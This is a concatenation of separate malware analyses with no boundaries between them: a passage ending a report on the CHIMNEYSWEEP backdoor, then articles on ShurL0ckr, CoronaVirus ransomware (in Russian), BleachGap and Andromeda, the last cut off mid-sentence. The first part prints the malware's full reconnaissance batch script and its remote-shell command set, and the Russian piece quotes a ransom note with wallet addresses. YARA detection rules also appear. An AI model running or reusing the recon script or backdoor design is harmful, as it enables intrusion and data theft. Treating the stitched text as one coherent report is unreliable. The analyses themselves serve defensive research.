/f | | 103 | Reboot the system using shutdown /r /t 0 /f | | 104 | Log off the current user using shutdown /l /f | For both shells, the command creates a socket to the address and port in the original packet. For the reverse shell, a cmd.exe process is started with the pipes set to the socket. A packet is sent to the C&C server to inform it that a shell is starting. This packet consists of the following string "CSP><computer_identifier>>", upon termination of the shell by the user, the string "DC><computer_idenitifer>>" is sent. The custom command prompt allows the following commands: - CS - Used to indicate the start of a command session along with the computer_identifier - LD - List drivers - LP - list files in path - LPG - Not implemented - SF - Opens a file, returns the file size - SFG - Opens the file and uploads the content in chunks of 0x400 bytes - RF - Retrieves a file and writes to disk - REN - Rename a file - DEL - Delete a file - DELF - Delete a directory - CRTD - Creates a directory - EXEC - Executes a command on disk - DC - Disconnects the shell - HI - Return "OOK>" ### Screenshot function CHIMNEYSWEEP can be configured to take screenshots and if the JPEG converter plugin (stored in the p22jpd registry value) is present, convert the images to JPEG. The JPEG settings can be configured by the threat actor in the request as discussed above. Screenshots are taken using the Windows APIs and written to disk in the covert store with the name APPX.%x%x%x%x%x.tmp, where each %x is a random value. Depending on whether the JPEG plugin exists, CHIMNEYSWEEP will either copy the temporary file into the requested file, or using the plugin, convert the bitmap into a JPEG as defined by the command. The output value is then either uploaded to Telegram or the C&C server using command 41. ### Sys info commands ```batch @echo off @CHCP 65001 @set t="%cd%\ni" @set f="%cd%\i1" @cd %SystemRoot%\system32 @echo {{WMIC_AntiVirusProduct}}>%t% @wmic /failfast:on /append:%t% /namespace:\\root\SecurityCenter2 path AntiVirusProduct get /value @echo {{WMIC_AntiSpywareProduct}}>>%t% @wmic /failfast:on /append:%t% /namespace:\\root\SecurityCenter2 path AntiSpywareProduct get /value @echo {{WMIC_FirewallProduct}}>>%t% @wmic /failfast:on /append:%t% /namespace:\\root\SecurityCenter2 path FirewallProduct get /value @echo {{WMIC_OS}}>>%t% @wmic /failfast:on /append:%t% OS get /value @echo {{WMIC_TIMEZONE}}>>%t% @wmic /failfast:on /append:%t% TIMEZONE get /value @echo {{WMIC_LOGON}}>>%t% @wmic /failfast:on /append:%t% LOGON get /value @echo {{WMIC_DESKTOP}}>>%t% @wmic /failfast:on /append:%t% DESKTOP get /value @echo {{WMIC_DESKTOPMONITOR}}>>%t% @wmic /failfast:on /append:%t% DESKTOPMONITOR get /value @echo {{WMIC_BASEBOARD}}>>%t% @wmic /failfast:on /append:%t% BASEBOARD get /value @echo {{WMIC_BIOS}}>>%t% @wmic /failfast:on /append:%t% BIOS get /value @echo {{WMIC_CPU}}>>%t% @wmic /failfast:on /append:%t% CPU get /value @echo {{WMIC_SOUNDDEV}}>>%t% @wmic /failfast:on /append:%t% SOUNDDEV get /value @echo {{WMIC_LOGICALDISK}}>>%t% @wmic /failfast:on /append:%t% LOGICALDISK get /value @echo {{WMIC_CDROM}}>>%t% @wmic /failfast:on /append:%t% CDROM get /value @echo {{WMIC_PRINTERCONFIG}}>>%t% @wmic /failfast:on /append:%t% PRINTERCONFIG get /value @echo {{WMIC_USERACCOUNT}}>>%t% @wmic /failfast:on /append:%t% USERACCOUNT get /value @echo {{WMIC_SHARE}}>>%t% @wmic /failfast:on /append:%t% SHARE get /value @echo {{WMIC_STARTUP}}>>%t% @wmic /failfast:on /append:%t% STARTUP get /value @echo {{WMIC_PROCESS}}>>%t% @wmic /failfast:on /append:%t% PROCESS get /value @echo {{WMIC_SERVICE}}>>%t% @wmic /failfast:on /append:%t% SERVICE get /value @echo {{WMIC_SYSDRIVER}}>>%t% @wmic /failfast:on /append:%t% SYSDRIVER get /value @echo {{WMIC_PAGEFILE}}>>%t% @wmic /failfast:on /append:%t% PAGEFILE get /value @echo {{WMIC_PAGEFILE}}>>%t% @wmic /failfast:on /append:%t% PAGEFILE get /value @echo {{SYSTEMINFO}}>>%t% @SYSTEMINFO>>%t% @echo {{Reg_Uninstall}}>>%t% @REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s>>%t% @echo {{Reg_TerminalServerClient}}>>%t% @REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /s>>%t% @echo {{BOOTCFG}}>>%t% @BOOTCFG>>%t% @echo {{IPCONFIG/All}}>>%t% @IPCONFIG /ALL>>%t% @echo {{whoami}}>>%t% @whoami>>%t% @echo {{net user /domain}}>>%t% @net user /domain>>%t% @echo {{net user}}>>%t% @net user>>%t% @echo {{net user Administrator}}>>%t% @net user Administrator>>%t% @echo {{net localgroup administrators}}>>%t% @net localgroup administrators>>%t% @echo {{net group /domain }}>>%t% @net group /domain>>%t% @echo {{net group "domain admins" /domain}}>>%t% @net group "domain admins" /domain>>%t% @echo {{net view}}>>%t% @net view>>%t% @echo {{net use}}>>%t% @net use>>%t% @echo {{net share}}>>%t% @net share>>%t% @echo {{route print}}>>%t% @route print>>%t% @echo {{net localgroup}}>>%t% @net localgroup>>%t% @echo {{net group "Exchange Trusted Subsystem" /domain}}>>%t% @net group "Exchange Trusted Subsystem" /domain>>%t% @echo {{net accounts /domain}}>>%t% @net accounts /domain>>%t% @echo {{net accounts}}>>%t% @net accounts>>%t% @echo {{netstat -an}}>>%t% @netstat -an>>%t% @echo {{set}}>>%t% @set>>%t% @echo {{tasklist}}>>%t% @tasklist>>%t% @echo {{dir c:\ }}>>%t% @dir c:\ >>%t% @echo {{dir d:\ }}>>%t% @dir d:\ >>%t% @echo {{dir e:\ }}>>%t% @dir e:\ >>%t% @echo {{dir f:\}}>>%t% @dir f:\>>%t% @echo {{dir g:\}}>>%t% @dir g:\>>%t% @echo {{dir Desktop}}>>%t% @dir %appdata%\..\..\Desktop>>%t% @echo {{dir C:\Users}}>>%t% @dir C:\Users>>%t% @echo {{dir "C:\Program Files"}}>>%t% @dir "C:\Program Files">>%t% @echo {{dir "C:\Program Files (x86)"}}>>%t% @dir "C:\Program Files (x86)">>%t% @echo {{dir C:\ProgramData}}>>%t% @dir C:\ProgramData>>%t% @echo {{tracert -d -4 -w 1500 8.8.8.8}}>>%t% @tracert -d -4 -w 1500 8.8.8.8>>%t% @echo {{ping 8.8.8.8}}>>%t% @ping 8.8.8.8>>%t% @echo {{ping gitlab.com}}>>%t% @ping gitlab.com>>%t% @echo {{ping mail.google.com}}>>%t% @ping mail.google.com>>%t% @echo {{ping google.com}}>>%t% @ping google.com>>%t% @echo {{ping mf.local}}>>%t% @ping mf.local>>%t% @echo {{DATE-TIME}}>>%t% @date /T>>%t% @time /T>>%t% @echo {{END}}>>%t% @del /q /f %f% @more<%t%>%f% @del /q /f %t% @exit ``` ## MITRE ATT&CK Techniques | ID | Technique | |----|-----------| | T1007 | System Service Discovery | | T1012 | Query Registry | | T1027 | Obfuscated Files or Information | | T1033 | System Owner/User Discovery | | T1055 | Process Injection | | T1057 | Process Discovery | | T1070.004 | File Deletion | | T1070.006 | Timestomp | | T1082 | System Information Discovery | | T1083 | File and Directory Discovery | | T1087 | Account Discovery | | T1112 | Modify Registry | | T1113 | Screen Capture | | T1134 | Access Token Manipulation | | T1489 | Service Stop | | T1497.001 | System Checks | | T1518 | Software Discovery | | T1543.003 | Windows Service | | T1569.002 | Service Execution | | T1622 | Debugger Evasion | ## Yara Rules ```yara rule M_Disrupt_ROADSWEEP_1 { meta: author = "Mandiant" description = "Identifies the encryption key used within ROADSWEEP" strings: $ = {C6 45 D5 E4 C6 45 D6 B1 C6 45 D7 6B C6 45 D8 22 C6 45 D9 B5 C6 45 DA 88 C6 45 DB 94 C6 45 DC AA C6 45 DD 86 C6 45 DE C4 C6 45 DF 21 C6 45 E0 E8 C6 45 E1 75 C6 45 E2 9D C6 45 E3 F3 C7 44 24 10 00 00 00 F0} condition: all of them } rule M_Disrupt_ZEROCLEAR_1 { meta: author = "Mandiant" description = "Identifies code sequences in ZEROCLEAR" strings: $ = "B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D" wide $ = "wp starts!" $ = "un start!" $ = "in start!" condition: all of them } rule M_Backdoor_CHIMNEYSWEEP_1 { meta: author = "Mandiant" description = "Detects strings found in CHIMNEYSWEEP" strings: $ = "%sAPPX.%x%x%x%x%x.tmp" $ = "rerunadmn" $ = "runupdate" $ = "runupdateok" $ = "baserun" $ = "heyirunadmn" $ = "subttoadmn" $ = "{\"ok\":false," $ = "TL_%s-%s" $ = "|**|Net1NOFILE|**|" $ = "%s:---:%s-%s:---:%s:---:www:---:MNEW" condition: uint16(0) == 0x5A4D and 8 of them } import "pe" rule M_Backdoor_CHIMNEYSWEEP_2 { meta: author = "Mandiant" description = "Detects encrypted data found in CHIMNEYSWEEP" strings: $key = {C6 45 D5 E4 C6 45 D6 B1 C6 45 D7 6B C6 45 D8 22 C6 45 D9 B5 C6 45 DA 88 C6 45 DB 94 C6 45 DC AA C6 45 DD 86 C6 45 DE C4 C6 45 DF 21 C6 45 E0 E8 C6 45 E1 75 C6 45 E2 9D C6 45 E3 F3 C7 44 24 10 00 00 00 F0} $encoded_config = {FA c0 c7 e5} $encoded_bot = {AE E0 ED D6} condition: uint16(0) == 0x5A4D and all of them and (pe.exports("RatingSetupUI") or pe.exports("A")) } ```
# ShurL0ckr Ransomware as a Service Peddled on Dark Web Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr’s operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom. The researchers’ analysis of ShurL0ckr indicates it can evade detection by cloud applications where it’s reported to proliferate. Like other ransomware, phishing and drive-by downloads are their likeliest infection vectors. ShurL0ckr’s discovery was part of a larger problem: cybercriminals abusing legitimate platforms and services. The researchers noted that 44% of businesses using cloud applications were in some way affected by malware. In fact, they found at least three enterprise software-as-a-service (SaaS) applications infected with malware. The researchers also found malicious scripts and executables, as well as Trojanized Office documents and image files, to be the most commonly used entry point. Indeed, ransomware isn’t going away any time soon. In fact, it’s projected to be a cybercriminal mainstay, along with digital extortion, as organizations increasingly incorporate emerging technologies to conduct business. How exactly does RaaS figure into this? It lowers barriers to entry. Typically, a developer will write the malware, build its infrastructure, then make it accessible to others regardless of their technical knowhow. This business model continued to boom into 2017, as evidenced by the 2,502% growth in ransomware’s economy in the dark web. A lifetime license to WannaCry ransomware, for instance, was sold for just $50 in the Middle Eastern and North African underground two days after its outbreak in May last year. Indeed, RaaS thrived in 2017—with the likes of Satan promising easy buck and FrozrLock guaranteeing “unlimited builds” to Karmen, Nemes1s RaaS, PadCrypt, and Fatboy, touting premium customer service. ShurL0ckr exemplifies how outsourcing malware puts threats into more cybercriminal hands, resulting in ever-increasing builds of similar malware in the wild with varying degrees of capabilities, and constantly fine-tuned to evade traditional security mechanisms. ## A multilayered defense against ransomware Given ShurL0ckr’s nature, the ransomware can be customized—from the ransom demand and encryption capabilities to how it’s delivered, which makes defense in depth significant. Here are some best practices users and organizations can adopt to mitigate threats like ShurL0ckr: - Regularly back up files and ensure their integrity and accessibility. - Keep the system, its applications, and the network updated; employ virtual patching for end-of-life and legacy systems. - Secure or restrict the use of tools typically reserved for system administrators to prevent their abuse. - Incorporate multilayered security mechanisms such as data categorization, network segmentation, application control/whitelisting, and behavior monitoring. - Enable the firewall, sandbox, and deploy intrusion detection and prevention systems. - Nurture cybersecurity awareness: Beware of social engineered email and develop proactive incident response and remediation strategies to mitigate further exposure. ## Trend Micro Solutions Enterprises can benefit from a multi-layered, step-by-step approach in order to best mitigate the risks brought by these threats. Email and web gateway solutions such as Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent ransomware from ever reaching end users. At the endpoint level, Trend Micro Smart Protection Suites deliver several capabilities like high-fidelity machine learning, behavior monitoring and application control, and vulnerability shielding that minimize the impact of this threat. Trend Micro Deep Discovery Inspector detects and blocks ransomware on networks, while Trend Micro Deep Security™ stops ransomware from reaching enterprise servers—whether physical, virtual or in the cloud. Trend Micro’s Cloud App Security (CAS) can help enhance the security of Office 365 apps and other cloud services such as Google Drive by using cutting-edge sandbox malware analysis for ransomware and other advanced threats. These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. Smart, optimized, and connected, XGen™ powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense.
# CoronaVirus Ransomware Этот крипто-вымогатель шифрует данные пользователей с помощью AES, а затем требует выкуп 0.008 - 0.05 BTC, чтобы вернуть файлы. Оригинальное название: CoronaVirus. На файлах может быть написано: WSHSetup.exe, ComparevalidatorIgamerefreshable.exe, sar.exe и прочее. ## Обнаружения для Installer: - DrWeb -> Trojan.Encoder.31254 - BitDefender -> Trojan.GenericKD.33533697, Trojan.GenericKD.42839733 - ALYac -> Trojan.Agent.Zenpak - Avira (no cloud) -> TR/Zenpak.rujhy - ESET-NOD32 -> A Variant Of Win32/Kryptik.HBWA - Fortinet -> W32/Zenpak.HBWA!tr.ransom - Kaspersky -> Trojan.Win32.Zenpak.wqf - Qihoo-360 -> Win32/Trojan.c84 - Rising -> Trojan.Kryptik!8.8 (CLOUD) - Symantec -> Trojan Horse - Tencent -> Win32.Trojan.Zenpak.Syhv ## Обнаружения для Ransomware: - DrWeb -> Trojan.Encoder.31251 - BitDefender -> Trojan.GenericKD.33538863, Generic.Ransom.Corona.C6172AAD - ALYac -> Trojan.Ransom.MBRlock - Avira (no cloud) -> TR/Ransom.MBRlock.nwhir, TR/ATRAPS.Gen5 - ESET-NOD32 -> A Variant Of Win32/MBRlock.AR - Fortinet -> W32/Upatre.AR!tr.dldr - Kaspersky -> Trojan-Downloader.Win32.Upatre.imly, Trojan-Downloader.Win32.Upatre.imoc - Malwarebytes -> Ransom.CoronaVirus - Microsoft -> Ransom:Win32/Filecoder.PF!MTB - Qihoo-360 -> Win32/Trojan.Downloader.f9c, Win32/Trojan.Downloader.c98 - Rising -> Trojan.Ransom.Satan.e (CLOUD), Trojan.Ransom.Satan.e (CLASSIC) - Symantec -> Trojan.Gen.MBT, Ransom.Gen, Ransom.Cryptolocker - Tencent -> Win32.Trojan-downloader.Upatre.Alsb, Malware.Win32.Gencirc.1134ca07 - TrendMicro -> Ransom.Win32.MBRLOCK.AA, Ransom.Win32.KOROWNA.THCACBO ## Обнаружения для файла трояна Kpot: - DrWeb -> Trojan.PWS.Steam.17860 - ALYac -> Trojan.Stealer.Kpot - Avira (no cloud) -> TR/AD.Khalesi.wmfdt - BitDefender -> Trojan.GenericKD.33533023 - ESET-NOD32 -> A Variant Of Win32/Kryptik.HBVI - Fortinet -> W32/Kryptik.HBVI!tr - Kaspersky -> Trojan.Win32.Zenpak.wsd - Malwarebytes -> Trojan.Dropper - Rising -> Trojan.Kryptik!8.8 (CLOUD) - Symantec -> Trojan Horse - Tencent -> Win32.Trojan.Zenpak.Hupk © Генеалогия: Satana Ransomware + unknown >> CoronaVirus Ransomware. Родство подтверждено сервисом IntezerAnalyzer. К зашифрованным файлам добавляется не расширение, а приставка: [email protected]___ ### Примеры зашифрованных файлов: - [email protected]___support.txt - [email protected]___bugreport.html - [email protected]___techinfo.rtf ### Этимология названия и пояснения: Создатели решили сыграть на громком названии вирусной эпидемии COVID-19 и добавили это слово в свои вымогательские тексты. Cover-Ransomware — новое название для программ-вымогателей, которые являются прикрытием для установки других вредоносных программ. В различных Cover-Ransomware вредоносным компонентом могут быть трояны, инфостилеры, стиратели, деструкторы, doxware, майнеры и прочие. ### Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Активность этого крипто-вымогателя пришлась на начало марта 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Записка с требованием выкупа называется: CoronaVirus.txt. ### Содержание записки о выкупе: ``` CORONAVIRUS is there All your file are crypted. Your computer is temporarily blocked on several levels. Applying strong military secret encryption algorithm. To assist in decrypting your files, you must do the following: 1. Pay 0.008 btc to Bitcoin wallet bc1q3v6far85gtdsrk4zu4fuhphheyqprwmuv62n92 or purchase the receipt Bitcoin; 2. Contact us by e-mail: [email protected] and tell us this your unique ID: D138101D44FEE2EB88495A67EEED1E89 and send the link to Bitcoin transaction generated or Bitcoin check number. After all this, you get in your email the following: 1. Instructions and software to unlock your computer 2. Program - decryptor of your files. Donations to the US presidential elections are accepted around the clock. Desine sperare qui hic intras! [Wait to payment timeout 25 - 40 min] ``` ### Перевод записки на русский язык: ``` КОРОНАВИРУС здесь Все ваши файлы зашифрованы. Ваш компьютер временно блокирован на нескольких уровнях. Применен сильный военный секретный алгоритм шифрования. Для расшифровки ваших файлов вы должны сделать следующее: 1. Оплатить 0.008 btc на биткойн-кошелек bc1q3v6far85gtdsrk4zu4fuhphheyqprwmuv62n92 или купить биткойны чеком; 2. Написать нам на email: [email protected] и сообщить нам свой уникальный ID: D138101D44FEE2EB88495A67EEED1E89 и отправить ссылку на сгенерированную биткойн-транзакцию или номер биткойн-чека. После всего этого вы получите в своем письме следующее: 1. Инструкции и программу для разблокировки компьютера 2. Программа - дешифровщик ваших файлов. Пожертвования на выборы президента США принимаются круглосуточно. Desine sperare qui hic intras! [Подождите окончания платежа 25 - 40 минут] ``` Запиской с требованием выкупа также выступают тексты на экране, которые появляются после перезагрузки системы. Технические детали: может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Для автоматического распространения вредоносного ПО злоумышленники создали веб-сайт www.wisecleaner.best, который внешне является копией официального сайта известной безопасной программы для восстановления данных Wise Data Recovery. На момент проверки сайта загрузки на этом сайте неактивны, но ранее с него распространялся файл WSHSetup.exe, который выполняет функцию загрузчика для CoronaVirus Ransomware и трояна-инфостилера Kpot. ### Другие подробности: - Программа-вымогатель изменяет название системного диска в "CoronaVirus". - Список файловых расширений, подвергающихся шифрованию: .acc, .asm, .avi, .bak, .bat, .bmp, .cfu, .cpp, .cry, .csv, .dbf, .dgn, .doc, .dwg, .dxf, .epf, .erf, .gbr, .gho, .gif, .jpe, .jpg, .lic, .mdb, .mdf, .mht, .mov, .mxl, .ods, .odt, .old, .pas, .pdf, .png, .ppt, .rar, .rtf, .sdf, .stl, .tax, .tex, .tif, .txt, .vbs, .vpd, .vsd, .xls, .xml, .zip (49 расширений). ### Файлы, связанные с этим Ransomware: - CoronaVirus.txt - название текстового файла - WSHSetup.exe - файл-загрузчик CoronaVirus Ransomware - file1.exe - файл трояна Kpot - file2.exe - файл шифровальщика - <random>.exe - случайное название вредоносного файла ### Расположения: - \Desktop\ - \User_folders\ - \%TEMP%\ - %APPDATA%\ ### Записи реестра, связанные с этим Ransomware: - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager "BootExecute" ### Сетевые подключения и связи: - Файльшивый сайт: www.wisecleaner.best - Email: [email protected] - BTC: bc1q8r42fm7kwg68dts3w70qah79n5emt5m76rus5u ### Спасибо: MalwareHunterTeam, Michael Gillespie, Vitali Kremez, Andrew Ivanov (author), Lawrence Abrams, dnwls0719 to the victims who sent the samples.
# BleachGap Revamped By Gaurav Yadav August 25, 2022 BleachGap ransomware was first reported in Feb 2021 by a researcher named Petrovic on Twitter. This ransomware variant that we have analyzed was reported on Twitter in June 2022. This variant got us curious to get into the nuances of it because it was tagged as a stealer and all the code was compiled in a single executable, thereby not needing any supporting .bat or PowerShell scripts to execute, most probably done for evasion and to be less noisy in comparison to the variant found in 2021, which needed the supporting .bat and .exe that it dropped for execution. Though there are not many cases reported in the wild, this blog has been written to let the cyber community know that threat actors are modifying the attack techniques of this malware for a possible major attack that might be planned in the future. Let's now get into the details. ## Why a Stealer? When this ransomware executes, the first step is to get the username and generate a Unique ID (UID) and Password for that particular victim. At first glance, it seems it is stealing the password from the user, but after multiple executions, we identified that the password is different every time. After reversing the sample, we found that the ransomware is using a function to randomly generate the UID, and the same function is being called again to generate the password, which is always 32 bytes long. After generating the UID and Password, it gets the Username of the current user using the environment variable. It first moves the encoded bytes to memory, which are already hardcoded in the executable, and then decodes those to the ‘username’ and then uses it as an argument to get environment variable data related to the username. Instead of hardcoding the useful strings into executables directly, so as to evade detection, this ransomware has used a similar method of moving encoded strings into memory and then decoding them at runtime for different purposes. We will see a similar method being used later in this ransomware. After getting the Username, it forms a huge string using the same method of decoding the encoded bytes, which includes UID, Password, and Username. After further analysis, we learn that this ransomware sends the large decoded string as a Post request to the Discord Webhook API. ## Disabling Tools to Work After sending information to the Discord API, the ransomware tries to disable tools like command prompt (CMD), Task Manager, and Registry Editor so that the user is not able to make changes and stop the ransomware execution. Disabling the mentioned tools happens with the help of the registry. The ransomware first copies the encoded registry key into memory and then decodes the key using an XOR loop and then does the same for the key value. It then calls the function RegCreateKey using the decoded key and value as arguments. After disabling the tools, the ransomware decodes the different folder names, which include Desktop, Documents, Downloads, Pictures, Music, Public, and adds them to the string `C:\Users\%username%` so that it can enumerate these folders first and encrypt the files stored inside. After getting all the folder names, the ransomware starts to enumerate them using `FindFirstFileExW` and `FindNextFileW` and then uses `ReadFile` to read the existing file into a buffer for encryption. ## Encrypting Files When analyzing the sample after `ReadFile`, we observed that the sample doesn’t use any common encryption-related Windows APIs like `CryptAcquireContextA`, `CryptReleaseContext`, `CryptGenKey`, `CryptExportKey`, etc. On further digging, we found that the whole encryption routine is implemented inside the ransomware. We identified this when a hardware breakpoint on the randomly generated password was hit after the `ReadFile` API. There were some calculations happening with the password, and some bytes were also present in the .rdata section. After checking those prestored bytes, we identified that it is an S-Block used in the AES Algorithm during the Key Expansion phase. So the ransomware is using the AES algorithm to encrypt the files using the password (key) that was randomly generated and sent to the Discord webhook. On further analysis, we got the functions which were responsible for encrypting the file bytes and writing it to the memory 16 bytes at a time. Ransomware creates a new file with the same name and writes the encrypted bytes into that file and then renames the file with the extension `PAY2DECRYPT+UID`. After encrypting the files, it puts 100 ransom notes on the Desktop. This ransomware encrypts executables as well. It changes its own name to the encrypted file extension, but the file remains as-is and not encrypted. ## Indicators of Compromise (IOCs) | File Name | Hash | Detection Name | |------------------|-------------------------------------------|-------------------------| | ransomito.exe | bfe289c6f91ffcda97c207f3c1c525a9 | Riskware (00584baa1) | We at K7 Labs provide detection for BleachGap ransomware and all the latest threats. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices.
# A Review of the Evolution of Andromeda Over the Years Before We Say Goodbye **Bahare Sabouri & He Xu** **Fortinet, Canada** **Copyright © 2018 Virus Bulletin** ## Introduction Andromeda, also known as Gamaru and Wauchos, is a modular and HTTP-based botnet that was discovered in late 2011. From that point on, it managed to survive and continue hardening by evolving in different ways. In particular, the complexity of its loader and AV evasion methods increased repeatedly, and C&C communication changed between the different versions as well. We deal with versions of this threat on a daily basis and we have collected a number of different variants. The botnet first came onto our tracking radar at version 2.06, and we have tracked the versions since then. In this paper, we will describe the evolution of Andromeda from version 2.06 to 2.10 and demonstrate both how it has improved its loader to evade automatic analysis/detection and how the payload varies among the different versions. This article could also be seen as a way to say 'goodbye' to the botnet: a takedown effort, followed by the arrest of the suspected botnet owner in December 2017, may mean we have seen the last of the botnet that has plagued Internet users for more than half a decade. ## Overview of Andromeda The first Andromeda to be discovered was spotted in the wild in 2011, and the new 2.06 version followed quickly afterwards in early 2012. Not much is known about any earlier versions and it is possible they were never released into the wild. The campaign continued to develop with versions 2.07, 2.08, 2.09, and 2.10. The latest known version, 2.10, was first seen in 2015 and may be the final version released: according to posts on underground forums, the development of the threat stopped around a year ago. Regardless of the version, Andromeda arrives on the target machine as a packed sample. Various packers have been used, from very famous packers such as UPX and SFX RAR to lesser-known and even customized ones which are compiled in various languages such as Autoit, .Net, and C++. Unpacking the first layer of the sample reveals the loader, which is small both in terms of size (13KB to 20KB) and in the number of function calls it contains. ## Loader In all versions of Andromeda, the loader avoids making direct calls to APIs. Instead, it incorporates hashes to find and call the APIs via general-purpose registers. Versions 2.06, 2.07, and 2.08 pass hash values as immediate values to a function and thus find the matching API name. Version 2.06 uses a custom hash function, while versions 2.07 and 2.08 use CRC32. Versions 2.09 and 2.10 have the same trivial custom hash function. Version 2.10 also keeps an array of API hash values. The hash algorithm is a custom function and, in order to complicate static analysis further, the author incorporates opaque predicates. ## Main Structure The section in the loader that is used to evade virtual machines and, more generally, analysis, is similar in versions 2.06, 2.07, and 2.08. In these variants, the loader enumerates the processes running on the machine and compares them against a list of unwanted processes. In order to do this, the loader converts the name of each process to lowercase and then calculates its hash value. The hash values are then compared against a hard-coded list of values. The same algorithm as is used to hash API names is used here. The hash algorithm in version 2.08 has an extra xor instruction. The newer versions have longer lists of unwanted processes. Next, the bot takes advantage of registry artifacts and checks the registry value in the following key: **Key:** HKLM\system\currentcontrolset\services\disk\enum **ValueName:** 0 Version 2.06 parses the value of the subkey for the presence of the substrings 'qemu', 'vbox', and 'wmwa'. Similarly, versions 2.07 and 2.08 check for 'qemu', 'vbox', and 'vmwa'. Upon finding any of these strings, each version takes a different approach to redirect the flow of the code. Before redirecting the code in versions 2.06 and 2.07, the sample designates another snippet of code that uses a technique known as 'time attack' in order to prevent further analysis. The malware acquires the timestamp counter (by calling rdtsc) twice and calculates the difference between the two. If the difference is less than 512ms, it proceeds to resolve imports and decrypt the payload. Otherwise, it leads to a dummy code, where the loader drops a copy of itself in %ALLUSERSPROFILE% and renames it to svchost.exe. Following that, it creates an autorun registry for the dropped file as follows: **Key:** HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run **ValueName:** SunJavaUpdateSched Eventually, waiting for a command in an infinite loop, it sniffs port 8000. A received command will then be run in the command window. As part of its evolution, version 2.07 implements a custom exception handler using a call to SetUnhandledExceptionFilter. Similarly, version 2.08 calls RtlAddVectoredExceptionHandler and adds the custom handler as the first handler into the vectored exception handler chain (VEH). If the malware finds any of the substrings in the retrieved registry, it runs a function that causes an access violation. The access violation is created intentionally when the sample tries to overwrite the DLL characteristics in the PE header which only has read rights. In this case, if the sample is not being debugged, control is passed immediately to the custom handler. The custom exception handler decrypts a piece of code that will be injected into another process later. Versions 2.07 and 2.08 share another feature that controls whether the loader bypasses anti-VM and anti-debugging procedures. The loader calls GetVolumeInformationA on the 'C:\' drive and acquires the drive name. Next, it calculates the CRC32 of the drive name and compares it against a hard-coded value. If they match, it bypasses the anti-forensics checks and proceeds directly to invoke the exception. The author probably used this technique to test the bot in his/her virtual machine without the need to go through the anti-VM/anti-analysis features. Versions 2.09 and 2.10 evade debugging and analysis by implementing the same idea as previous versions, but this time in the payload. Eventually, in all versions, the loader injects the payload into a remote process using a process hollowing technique and runs it in memory. ## Payload As mentioned, the payloads of versions 2.09 and 2.10 start with some anti-VM tricks, despite the earlier versions having taken care of this in the loader. Like the older versions, they check for a list of blacklisted processes in case the machine is compromised. The number of blacklisted processes in version 2.09 is exactly the same as in 2.08, whereas it increases to 21 processes in version 2.10. Like versions 2.07 and 2.08, versions 2.09 and 2.10 calculate the CRC32 of the process name. However, instead of implementing the algorithm, they call RtlComputeCrc32 directly. If the bot finds any of the target processes, it runs a snippet of code to sleep for one minute in an infinite loop in order to evade detection. If 'HKLM\software\policies' contains the registry key 'is_not_vm' and the key is VolumeSerialNumber, version 2.10 bypasses these checks. This behaviour is comparable to that in versions 2.07 and 2.08 where the bot checked the checksum of the root drive. ## Evolution of C&C The main aim of Andromeda's payload is to steal the infected system's information, talk to the command-and-control (C&C) server, and download and install additional malware onto the system. In order to do this, it initiates a sophisticated command-and-control channel with the server. Each version of Andromeda uses a different format for the message and the report that it sends to the server. Each version has two message formats, both sent as HTTP POST requests: Action Request and Task Report. Action Request contains the information exfiltrated from the compromised system; the bot sends it to the server after encryption. Task Report, as the name implies, provides a report about the accomplished task. | Version | Action Request | Task Report | |---------|----------------|-------------| | 2.06 | id:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar:%lu | id:%lu|tid:%lu|result:%lu | | 2.07 | id:%lu|bid:%lu|bv:%lu|os:%lu|la:%lu|rg:%lu | id:%lu|tid:%lu|res:%lu | | 2.08 | id:%lu|bid:%lu|bv:%lu|os:%lu|la:%lu|rg:%lu | id:%lu|tid:%lu|res:%lu | | 2.09 | id:%lu|bid:%lu|os:%lu|la:%lu|rg:%lu | id:%lu|tid:%lu|err:%lu|w32:%lu | | 2.10 | {“id”:%lu,“bid”:%lu,“os”:%lu,“la”:%lu,“rg”:%lu} | {“id”:%lu,“tid”:%lu,“err”:%lu,“w32”:%lu} | The Action Request format shares some essential tags among all versions, such as 'id' and 'bid', while some other tags are version-specific, such as 'ar' in version 2.06 and 'bb' in version 2.10. It is only the last version of the bot that uses JSON format to communicate with the C&C server. | Action Request | Tag | Information | |----------------|-----|-------------| | id | Volume serial number of victim machine | | bid | Bot ID, a hard-coded DWORD in payload | | bv | Bot version | | pa | Flag indicating whether OS is 32-bit or 64-bit | | la | Local IP address acquired from sockaddr structure | | ar/rg | Flag indicating if the process runs in the administrator group | | sv/os | Version of the victim operating system | | bb | Flag indicating if victim system uses a Russian, Ukrainian, Belarusian or Kazakh keyboard | We believe that 'bid' is used to represent build ID and, interestingly, in some versions, like 2.06 and 2.10, it indicates a date in the format YYYYMMDD. After version 2.08, 'bv', which indicates the bot version, is removed from the request message. However, in the two latest versions, there remains a clue as to the bot version, which is a hard-coded xor key. This xor key is used in five different places in version 2.09 and twice in version 2.10. In all cases, it xors the 'id' and will be further manipulated to be used as the file name or registry value. When the message is prepared for the required information, in all versions except the most recent one, the string is encrypted in two steps. The first step uses a 20-byte hard-coded RC4 key and the second step uses base64 encoding. Version 2.10 encrypts the message only using the RC4 algorithm. After posting the message to the server, the bot receives a message from the server. The bot validates the message by calculating its CRC32 